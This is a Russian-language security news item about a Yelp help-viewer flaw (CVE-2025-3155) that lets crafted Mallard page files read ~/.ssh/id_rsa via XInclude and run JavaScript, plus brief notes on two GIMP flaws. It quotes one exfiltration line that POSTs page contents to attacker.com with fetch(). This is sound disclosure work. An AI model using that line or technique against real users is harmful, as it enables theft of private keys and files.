В просмотрщике Yelp, применяемом по умолчанию в GNOME для работы со справочными руководствами (GNOME Help), выявлена уязвимость (CVE-2025-3155), позволяющая выполнить произвольный JavaScript-код при открытии специально оформленных page-файлов. Выполнение подобных скриптов даёт возможность отправить файлы пользователя на сервер атакующего.
В GNOME для открытия файлов со справочными руководствами регистрируется URI “ghelp://”, обрабатываемый через вызов Yelp.
Для атаки злоумышленнику необходимо добиться загрузки файла index.page на систему пользователя. Например, можно обманом вынудить загрузить файл через браузер, кликнув на ссылку на сайте атакующего. После того как файл загружен атакующий может инициировать открытие этого документа, перенаправив в браузере переход со своей страницы на URL ghelp://” с путём к каталогу, в который загружен файл (Например, “ghelp:///proc/self/cwd/Downloads”).
Уязвимость вызвана тем, что в page-файлах используется формат Mallard, основанный на XML. В данном формате имеется возможность вставки в документ содержимого других файлов, используя механизм XInclude. Для отрисовки page-файлов программа Yelp преобразует их из XML в HTML при помощи XSLT (yelp-xsl), после чего отображает используя движок WebKitGtk. Идея в том, чтобы добиться подстановки JavaScript в результирующий HTML-файл и использовать данный JavaScript для отправки на сервере содержимого, подставленного через XInclude.
Для подстановки JavaScript использовано то, что XSLT копирует некоторые элементы в HTML без разбора, например, целиком переносит элемент и всё вложенное содержимое. Таким образом, для передачи на внешний сервер файла “~/.ssh/id_rsa” достаточно подставить его в page-документ директивой “include”:
После чего добавить через элемент вызов JavaScript с кодом для отправки POST-запроса на внешний сервер, используя метод fetch(): onload=_=>fetch(“https://attacker.com/”,{method:”POST”,body:document.body.outerHTML,mode:”no-cors”})
Проследить за устранением уязвимости в дистрибутивах можно на следующих страницах: Debian, Ubuntu, RHEL, SUSE/openSUSE, Fedora, Arch, FreeBSD.
Дополнительно можно отметить две уязвимости (CVE-2025-2761, CVE-2025-2760) в графическом редакторе GIMP, приводящие к выполнению кода атакующего при открытии пользователем специально подготовленных изображений в форматах XWD и FLI. Обе уязвимости вызваны отсутствием должной проверки размера данных, копируемого в буфер в процессе разбора содержимого файлов. Уязвимости устранены в версии GIMP 3.0.0.